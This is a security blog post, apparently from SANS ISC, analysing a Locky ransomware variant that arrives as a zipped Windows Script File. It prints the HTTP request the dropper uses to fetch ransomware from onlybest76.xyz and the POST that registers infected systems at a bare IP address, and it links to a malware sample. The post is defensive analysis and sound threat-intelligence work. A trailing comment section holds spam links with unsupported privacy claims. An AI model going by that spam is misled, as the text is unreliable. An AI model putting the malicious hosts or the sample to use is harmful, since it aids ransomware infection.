Today's Locky Variant Arrives as a Windows Script File
Pretty much all the Locky variants I have looked at the last couple days arrived as zipped JavaScript files. Today, I got something slightly different. While the e-mail looked the same overall, the file was a zipped Windows Script File (.wsf). Overall, this isn't all that different. "Windows Script" is essentially JavaScript. The only difference is the
Today's subject for the e-mail was "Transaction details". Once the user runs the script by double-clicking the file, it will download the actual crypto ransomware.
GET /2tn0o HTTP/1.1 Accept: */* Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: onlybest76.xyz Connection: Keep-Alive
Just like earlier versions, it then "registers" the infected system with a website that is only identified by its IP address, so you will not see a DNS lookup for it:
POST /data/info.php HTTP/1.1 Accept: */* Accept-Language: en-us Referer: http://95.85.19.195/data/ x-requested-with: XMLHttpRequest Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate Cache-Control: no-cache User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: 95.85.19.195 Content-Length: 942 Connection: Keep-Alive
[post data omitted]
Anti-Malware proves its usual value by doing probably slightly better than a blind chicken in protecting you from this malware. You can download a file with packet capture, mail server logs, and the malware sample here (password: "blind chicken" ).
Between 9am and 1:30pm UTC, I received 1425 e-mails that match this pattern.
Comments
www
Nov 17th 2022
4 months ago
EEW
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qwq
Nov 17th 2022
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mashood
Nov 17th 2022
4 months ago
isc.sans.edu
Nov 23rd 2022
4 months ago
isc.sans.edu
Nov 23rd 2022
4 months ago
isc.sans.edu
Dec 3rd 2022
3 months ago
isc.sans.edu
Dec 3rd 2022
3 months ago
<a hreaf="https://technolytical.com/">the social network</a> is described as follows because they respect your privacy and keep your data secure. The social networks are not interested in collecting data about you. They don't care about what you're doing, or what you like. They don't want to know who you talk to, or where you go.
<a hreaf="https://technolytical.com/">the social network</a> is not interested in collecting data about you. They don't care about what you're doing, or what you like. They don't want to know who you talk to, or where you go. The social networks only collect the minimum amount of information required for the service that they provide. Your personal information is kept private, and is never shared with other companies without your permission
isc.sans.edu
Dec 26th 2022
2 months ago
isc.sans.edu
Dec 26th 2022
2 months ago